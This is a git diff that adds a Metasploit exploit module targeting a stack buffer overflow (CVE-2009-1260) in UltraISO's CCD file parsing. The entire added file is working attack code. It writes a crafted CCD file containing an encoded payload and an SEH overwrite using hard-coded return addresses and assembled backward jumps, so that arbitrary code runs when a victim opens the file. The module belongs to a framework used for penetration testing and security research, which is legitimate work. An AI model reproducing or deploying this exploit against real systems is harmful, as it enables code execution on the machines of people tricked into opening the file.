diff --git a/modules/exploits/windows/fileformat/ultraiso_ccd.rb b/modules/exploits/windows/fileformat/ultraiso_ccd.rb new file mode 100644 index 0000000000..433691c535 --- /dev/null +++ b/modules/exploits/windows/fileformat/ultraiso_ccd.rb @@ -0,0 +1,224 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'UltraISO CCD File Parsing Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow in EZB Systems, Inc's + UltraISO. When processing .CCD files, data is read from file into a + fixed-size stack buffer. Since no bounds checking is done, a buffer overflow + can occur. Attackers can execute arbitrary code by convincing their victim + to open an CCD file. + + NOTE: A file with the same base name, but the extension of "img" must also + exist. Opening either file will trigger the vulnerability, but the files must + both exist. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'jduck' ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2009-1260' ], + [ 'OSVDB', '53275' ], + [ 'BID', '34363' ], + # NOTE: The following BID is a duplicate of BID 34363 + [ 'BID', '38613' ], + # NOTE: The following OSVDB entry seems invalid, the IMG file doesn't appear to trigger any vulnerability. + # [ 'OS-VDB', '53425' ], + [ 'URL', 'http://www.exploit-db.com/exploits/8343' ] + ], + 'Payload' => + { + 'Space' => 2048, + 'BadChars' => "\x00\x08\x0a\x0d\x20", + 'DisableNops' => true, + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested OK on: + # v9.3.3.2685 + # v9.3.6.2750 + + # The EXE base addr contains a bad char (nul). This prevents us from + # using the super-elite multi-offset SEH exploitation method. + + [ 'Windows Universal - Double-Click/Command Line Open Method', + { + 'Offset' => 4094, + # NOTE: lame_enc.dll isn't loaded when opening via double-click / cmd line. + #'Ret' => 0x10011640 # p/p/r in lame_enc.dll + # To make matters even worse, we can't use system dlls due to Safe SEH! + #'Ret' => 0x71b26b7e # p/p/r in mpr.dll + 'Ret' => 0x00403856 # p/p/r in unpacked UltraISO.exe (from public exploit) + } + ], + [ 'Windows Universal - File->Open + Toolbar Open Methods', + { + 'Offset' => [ 5066, 5158 ], + 'Ret' => 0x10011640 # p/p/r in lame_enc.dll + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Apr 03 2009', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ccd']), + ], self.class) + end + + def exploit + + print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...") + + sploit = "[CloneCD]\r\n" + sploit << "Version=3\r\n" + + sploit << "[Disc]\r\n" + sploit << "TocEntries=4\r\n" + sploit << "Sessions=1\r\n" + sploit << "DataTracksScrambled=0\r\n" + sploit << "CDTextLength=0\r\n" + + sploit << "[Session 1]\r\n" + sploit << "PreGapMode=1\r\n" + sploit << "PreGapSubC=0\r\n" + sploit << "[Entry 0]\r\n" + sploit << "Session=1\r\n" + sploit << "Point=0xa0\r\n" + sploit << "ADR=0x01\r\n" + sploit << "Control=0x04\r\n" + sploit << "TrackNo=0\r\n" + sploit << "AMin=0\r\n" + sploit << "ASec=0\r\n" + sploit << "AFrame=0\r\n" + sploit << "ALBA=-150\r\n" + sploit << "Zero=0\r\n" + sploit << "PMin=1\r\n" + sploit << "PSec=0\r\n" + sploit << "PFrame=0\r\n" + sploit << "PLBA=4350\r\n" + + sploit << "[Entry 1]\r\n" + sploit << "Session=1\r\n" + sploit << "Point=0xa1\r\n" + sploit << "ADR=0x01\r\n" + sploit << "Control=0x04\r\n" + sploit << "TrackNo=0\r\n" + sploit << "AMin=0\r\n" + sploit << "ASec=0\r\n" + sploit << "AFrame=0\r\n" + sploit << "ALBA=-150\r\n" + sploit << "Zero=0\r\n" + sploit << "PMin=1\r\n" + sploit << "PSec=0\r\n" + sploit << "PFrame=0\r\n" + sploit << "PLBA=4350\r\n" + + sploit << "[Entry 2]\r\n" + sploit << "Session=1\r\n" + sploit << "Point=0xa2\r\n" + sploit << "ADR=0x01\r\n" + sploit << "Control=0x04\r\n" + sploit << "TrackNo=0\r\n" + sploit << "AMin=0\r\n" + sploit << "ASec=0\r\n" + sploit << "AFrame=0\r\n" + sploit << "ALBA=-150\r\n" + sploit << "Zero=0\r\n" + sploit << "PMin=0\r\n" + sploit << "PSec=2\r\n" + sploit << "PFrame=34\r\n" + sploit << "PLBA=34\r\n" + + sploit << "[Entry 3]\r\n" + sploit << "Session=1\r\n" + sploit << "Point=0x01\r\n" + sploit << "ADR=0x01\r\n" + sploit << "Control=0x04\r\n" + sploit << "TrackNo=0\r\n" + sploit << "AMin=0\r\n" + sploit << "ASec=0\r\n" + sploit << "AFrame=0\r\n" + sploit << "ALBA=-150\r\n" + sploit << "Zero=0\r\n" + sploit << "PMin=0\r\n" + sploit << "PSec=2\r\n" + sploit << "PFrame=0\r\n" + sploit << "PLBA=0\r\n" + + sploit << "[TRACK 1]\r\n" + sploit << "MODE=1\r\n" + sploit << "INDEX 1=" + + idx_line = '' + idx_line << rand_text_alphanumeric(1000) * 9 + + # Stick the payload at the beginning + idx_line[0,payload.encoded.length] = payload.encoded + + # If we have an array of offets, handle it specially + seh_offset = target['Offset'] + if (seh_offset.is_a?(::Array)) + # Multiple offets that can be used simultaneously + seh_offset.each { |off| + seh = generate_seh_record(target.ret) + distance = off + seh.length + jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string + + idx_line[off, seh.length] = seh + idx_line[off+seh.length, jmp.length] = jmp + } + else + off = seh_offset + # We'll manually construct this double-backward jumping SEH handler frame + distance = off - 5 + jmp1 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string + distance = jmp1.length + jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string + seh = '' + seh << jmp2 + seh << rand_text(2) + seh << [target.ret].pack('V') + # we can't put anything below the return address due to a potential nul byte in it + + # Add the double-back-jumping SEH frame + idx_line[off-5, jmp1.length] = jmp1 + idx_line[off,seh.length] = seh + end + + sploit << idx_line + + file_create(sploit) + + # create the empty IMG file + imgfn = datastore['FILENAME'].dup + imgfn.gsub!(/\.ccd$/, '.img') + out = File.expand_path(File.join(datastore['OUTPUTPATH'], imgfn)) + File.new(out,"wb").close + print_status("Created empty output file #{out}") + + end + +end